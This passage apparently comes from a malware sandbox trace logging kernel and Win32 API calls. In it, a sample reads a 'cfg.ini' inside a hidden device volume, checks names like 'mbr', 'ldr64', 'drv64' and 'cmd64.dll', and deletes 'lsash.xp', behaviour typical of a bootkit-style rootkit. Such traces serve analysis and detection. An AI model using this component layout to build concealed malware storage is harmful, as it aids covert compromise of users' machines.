Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.619] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.619] IdePortDispatch () returned 0x103 [0122.619] KeWaitForMutexObject () returned 0x0 [0122.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] KeLeaveCriticalRegion () [0122.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.620] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.620] KeEnterCriticalRegion () [0122.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] KeLeaveCriticalRegion () [0122.620] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.620] KeEnterCriticalRegion () [0122.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] KeLeaveCriticalRegion () [0122.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.620] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.620] KeEnterCriticalRegion () [0122.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] ExFreePoolWithTag (P=0xfffffa8003be53e0, Tag=0x0) [0122.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.620] KeLeaveCriticalRegion () [0122.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.621] ReleaseMutex (hMutex=0xf0) returned 1 [0122.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.621] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.621] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.621] KeEnterCriticalRegion () [0122.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.621] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.621] IdePortDispatch () returned 0x103 [0122.621] KeWaitForMutexObject () returned 0x0 [0122.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.621] KeLeaveCriticalRegion () [0122.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.621] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.621] KeEnterCriticalRegion () [0122.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.621] KeLeaveCriticalRegion () [0122.621] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.621] KeEnterCriticalRegion () [0122.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.621] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.621] IdePortDispatch () returned 0x103 [0122.622] KeWaitForMutexObject () returned 0x0 [0122.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.622] KeLeaveCriticalRegion () [0122.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.622] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.622] KeEnterCriticalRegion () [0122.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc5000 [0122.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.622] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.622] IdePortDispatch () returned 0x103 [0122.622] KeWaitForMutexObject () returned 0x0 [0122.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.622] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.622] IdePortDispatch () returned 0x103 [0122.622] KeWaitForMutexObject () returned 0x0 [0122.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.622] KeLeaveCriticalRegion () [0122.623] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.623] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.623] KeEnterCriticalRegion () [0122.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] KeLeaveCriticalRegion () [0122.623] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.623] KeEnterCriticalRegion () [0122.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.623] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] KeLeaveCriticalRegion () [0122.623] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.623] KeEnterCriticalRegion () [0122.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.623] KeLeaveCriticalRegion () [0122.623] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.623] ReleaseMutex (hMutex=0xf0) returned 1 [0122.624] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.624] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.624] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.624] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.624] KeEnterCriticalRegion () [0122.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.624] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.624] IdePortDispatch () returned 0x103 [0122.624] KeWaitForMutexObject () returned 0x0 [0122.624] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.624] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.624] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.624] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.624] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.624] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.624] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.624] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.624] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.624] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.624] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.624] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.624] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.624] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.624] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.624] KeLeaveCriticalRegion () [0122.624] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.624] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.624] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.624] KeEnterCriticalRegion () [0122.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.624] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.624] IdePortDispatch () returned 0x103 [0122.625] KeWaitForMutexObject () returned 0x0 [0122.625] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.625] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.625] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.625] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.625] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.625] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.625] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.625] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.625] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.625] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.625] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.625] KeLeaveCriticalRegion () [0122.625] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.625] ReleaseMutex (hMutex=0x100) returned 1 [0122.625] Sleep (dwMilliseconds=0x2bf20) [0122.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c4a30b0, dwHighDateTime=0x1d24fa4)) [0122.631] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.631] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.631] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.631] KeEnterCriticalRegion () [0122.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.631] IdePortDispatch () returned 0x103 [0122.631] KeWaitForMutexObject () returned 0x0 [0122.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.632] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.632] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.632] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.632] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.632] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd3c0 [0122.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] KeLeaveCriticalRegion () [0122.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.632] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.632] KeEnterCriticalRegion () [0122.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] KeLeaveCriticalRegion () [0122.632] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.632] KeEnterCriticalRegion () [0122.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.632] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.632] IdePortDispatch () returned 0x103 [0122.632] KeWaitForMutexObject () returned 0x0 [0122.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] KeLeaveCriticalRegion () [0122.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.632] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.632] KeEnterCriticalRegion () [0122.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc8000 [0122.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.633] IdePortDispatch () returned 0x103 [0122.633] KeWaitForMutexObject () returned 0x0 [0122.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.633] IdePortDispatch () returned 0x103 [0122.633] KeWaitForMutexObject () returned 0x0 [0122.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.633] KeLeaveCriticalRegion () [0122.633] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.634] KeEnterCriticalRegion () [0122.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] KeLeaveCriticalRegion () [0122.634] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.634] KeEnterCriticalRegion () [0122.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] KeLeaveCriticalRegion () [0122.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.634] KeEnterCriticalRegion () [0122.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] ExFreePoolWithTag (P=0xfffffa8003bcd3c0, Tag=0x0) [0122.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] KeLeaveCriticalRegion () [0122.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.634] ReleaseMutex (hMutex=0xf0) returned 1 [0122.634] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.634] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.634] KeEnterCriticalRegion () [0122.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.634] IdePortDispatch () returned 0x103 [0122.634] KeWaitForMutexObject () returned 0x0 [0122.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.636] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.636] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.636] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.636] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.636] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc590 [0122.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] KeLeaveCriticalRegion () [0122.636] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.636] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 